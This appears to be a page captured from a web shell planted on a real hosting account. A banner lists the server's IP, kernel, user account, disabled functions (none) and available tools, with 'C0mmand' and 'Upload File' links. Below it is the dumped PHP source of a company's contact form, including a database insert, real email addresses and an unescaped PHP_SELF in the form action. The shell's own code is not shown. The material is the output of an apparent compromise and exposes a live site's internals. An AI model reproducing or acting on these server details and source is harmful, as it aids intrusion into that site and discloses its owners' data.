Server IP : 103.53.40.154 / Your IP : 13.59.92.247 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/automationpowersolutions.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('admin/config.php'); function isAllowedMessage($message) { $allowedChars = '/^[a-zA-Z0-9,@. ]*$/'; return preg_match($allowedChars, $message); } if ($_SERVER["REQUEST_METHOD"] === "POST") { if (isset($_POST['submit'])) { $name = $_POST['name']; $phone = $_POST['phone']; $email = $_POST['email']; $message = $_POST['message']; date_default_timezone_set("Asia/Kolkata"); $currentTime = date("Y-m-d H:i:s"); $errors = array(); // Validate input if (empty($name)) { $errors[] = "Name field is required."; } elseif (!preg_match('/^[a-zA-Z ]+$/', $name)) { $errors[] = "Name can only contain alphabets."; } if (empty($email)) { $errors[] = "Email field is required."; } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) { $errors[] = "Invalid email format."; } if (empty($phone)) { $errors[] = "Phone field is required."; } elseif (!preg_match('/^\d{10}$/', $phone)) { $errors[] = "Phone number should have exactly 10 digits."; } // Sanitize input $name = filter_var($name, FILTER_SANITIZE_STRING); $phone = filter_var($phone, FILTER_SANITIZE_NUMBER_INT); $email = filter_var($email, FILTER_SANITIZE_EMAIL); $message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8'); // Check for potentially malicious content in the message if (!isAllowedMessage($message)) { $errors[] = "Your message contains potentially malicious content or disallowed characters."; } if (empty($errors)) { $query = "INSERT INTO `tb7_user_issue`(`name`,`email`,`phone`,`message`) VALUES (?, ?, ?, ?)"; $stmt = mysqli_prepare($db, $query); if ($stmt) { mysqli_stmt_bind_param($stmt, "ssss", $name, $email, $phone, $message); $result = mysqli_stmt_execute($stmt); mysqli_stmt_close($stmt); if ($result) { // $to = "digitalsaleem12@gmail.com"; $to = "info@automationpowersolutions.com"; $subject = "New Query Submitted"; $emailMessage = "A new query has been submitted:\n\n"; $emailMessage .= "Name: $name\n"; $emailMessage .= "Phone: $phone\n"; $emailMessage .= "Email: $email\n"; $emailMessage .= "Message: $message\n"; $headers = "From: $email"; if (mail($to, $subject, $emailMessage, $headers)) { echo "<script> window.alert('Successfully Sent! We will contact you soon'); window.location.href = '$wspath' + 'contact.html'; </script>"; } else { echo "<script> window.alert('Successfully Submitted! Error sending email. We will contact you soon.'); window.location.href = '$wspath' + 'contact.html'; </script>"; } } else { $errors[] = "Error in processing your request. Please try again later."; } } else { $errors[] = "Error in preparing the statement."; } } else { // Display validation errors in an alert echo "<script> var errorMessage = '"; foreach ($errors as $error) { echo addslashes($error) . "\\n"; } echo "'; window.alert(errorMessage); </script>"; } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <!-- Responsive --> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"> <?php include 'headlink.php';?> <title>Contact | <?php echo $data['admin_name']?></title> <meta name="description" content="Contact | <?php echo $data['admin_name']?>"> </head> <body> <?php include 'header.php';?> <!-- Page Title --> <section class="page-title" style="background-image: url(images/background/9.jpg)"> <div class="auto-container"> <ul class="bread-crumb clearfix"> <li><a href="<?php echo $wspath?>">Home</a></li> <li>Contact Us</li> </ul> <h2>Contact Us</h2> </div> </section> <!--End Page Title--> <marquee class="marquee-text"><?php echo $datamarq['message'] ?></marquee> <!-- Contact Page Section --> <section class="contact-page-section"> <div class="auto-container"> <!-- Sec Title Three --> <div class="sec-title-three centered"> <h2>Office Near You.</h2> </div> <div class="row clearfix"> <!-- Location Block --> <div class="location-block col-lg-4 col-md-6 col-sm-12"> <div class="inner-box wow fadeInLeft" data-wow-delay="0ms" data-wow-duration="1500ms"> <div class="content"> <span class="icon flaticon-message"></span> <strong>Email Address</strong> Sent mail asap anytime </div> <?php echo $data['admin_email']?><br> <?php echo $data['alt_email']?> </div> </div> <!-- Location Block --> <div class="location-block col-lg-4 col-md-6 col-sm-12"> <div class="inner-box wow fadeInLeft" data-wow-delay="0ms" data-wow-duration="1500ms"> <div class="content"> <span class="icon flaticon-call"></span> <strong>Phone Number</strong> call us asap anytime </div> <?php echo $data['admin_phone']?><br> <?php echo $data['alt_phone']?> </div> </div> <!-- Location Block --> <div class="location-block col-lg-4 col-md-6 col-sm-12"> <div class="inner-box wow fadeInLeft" data-wow-delay="0ms" data-wow-duration="1500ms"> <div class="content"> <span class="icon flaticon-home"></span> <strong>Address</strong> </div> <?php echo $data['admin_address']?> </div> </div> <!-- Location Block --> <!--<div class="location-block col-lg-3 col-md-6 col-sm-12">--> <!-- <div class="inner-box wow fadeInLeft" data-wow-delay="0ms" data-wow-duration="1500ms">--> <!-- <div class="content">--> <!-- <span class="icon flaticon-home"></span>--> <!-- <strong>Factory Address</strong>--> <!-- </div><?php echo $data['alt_address']?></div>--> <!--</div>--> </div> </div> </section> <!-- End Location Section --> <!-- Map Column --> <section class="map-section"> <div class="auto-container"> <div class="inner-container"> <!-- Map Outer --> <div class="map-outer"> <iframe src="<?php echo $data['map_link']?>" width="600" height="450" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe> </div> </div> </div> </section> <!-- End Map Column --> <!-- Contact Form Section --> <div class="contact-form-section"> <div class="pattern-layer" style="background-image:url(images/background/pattern-25.png)"></div> <div class="auto-container"> <!-- Sec Title --> <div class="sec-title alternate centered"> <div class="title">Submit Question</div> <h2>Needs Help? Let’s Get in Touch</h2> </div> <div class="inner-container"> <!-- Contact Form --> <div class="contact-form"> <!-- Contact Form --> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> <div class="row clearfix"> <div class="col-lg-6 col-md-6 col-sm-12 form-group"> <input type="text" name="name" placeholder="Name" required> <?php if (isset($errors) && in_array("Name field is required.", $errors)) { ?> <p class="error">Name field is required.</p> <?php } elseif (isset($errors) && in_array("Name can only contain alphabets.", $errors)) { ?> <p class="error">Name can only contain alphabets.</p> <?php } ?> </div> <div class="col-lg-6 col-md-6 col-sm-12 form-group"> <input type="email" name="email" placeholder="Your Email" required> <?php if (isset($errors) && in_array("Email field is required.", $errors)) { ?> <p class="error">Email field is required.</p> <?php } ?> </div> <div class="col-lg-12 col-md-12 col-sm-12 form-group"> <input type="text" name="phone" placeholder="Your Phone" id="phone_no" minlength="10" maxlength="10" onkeypress="return isNumberKey(event)" pattern=".{10,10}" onpaste="return false;" required> <?php if (isset($errors) && in_array("Phone field is required.", $errors)) { ?> <p class="error">Phone field is required.</p> <?php } elseif (isset($errors) && in_array("Phone number should have exactly 10 digits.", $errors)) { ?> <p class="error">Phone number should have exactly 10 digits.</p> <?php } ?> </div> <!--<div class="col-lg-6 col-md-6 col-sm-12 form-group">--> <!-- <input type="text" name="subject" placeholder="Your Subject" required>--> <!--</div>--> <div class="col-lg-12 col-md-12 col-sm-12 form-group"> <textarea class="" name="message" placeholder="Message"></textarea> </div> <div class="col-lg-12 col-md-12 col-sm-12 form-group"> <button type="submit" name="submit" class="theme-btn btn-style-eight clearfix"> <span class="btn-wrap"> <!--<span class="text-one">--> Send Message <!--</span>--> <!--<span class="text-two">Send Message</span>--> </span> </button> </div> </div> </form> </div> <!--End Contact Form --> </div> </div> </div> <!-- End Contact Form Section --> <?php include 'footer.php';?>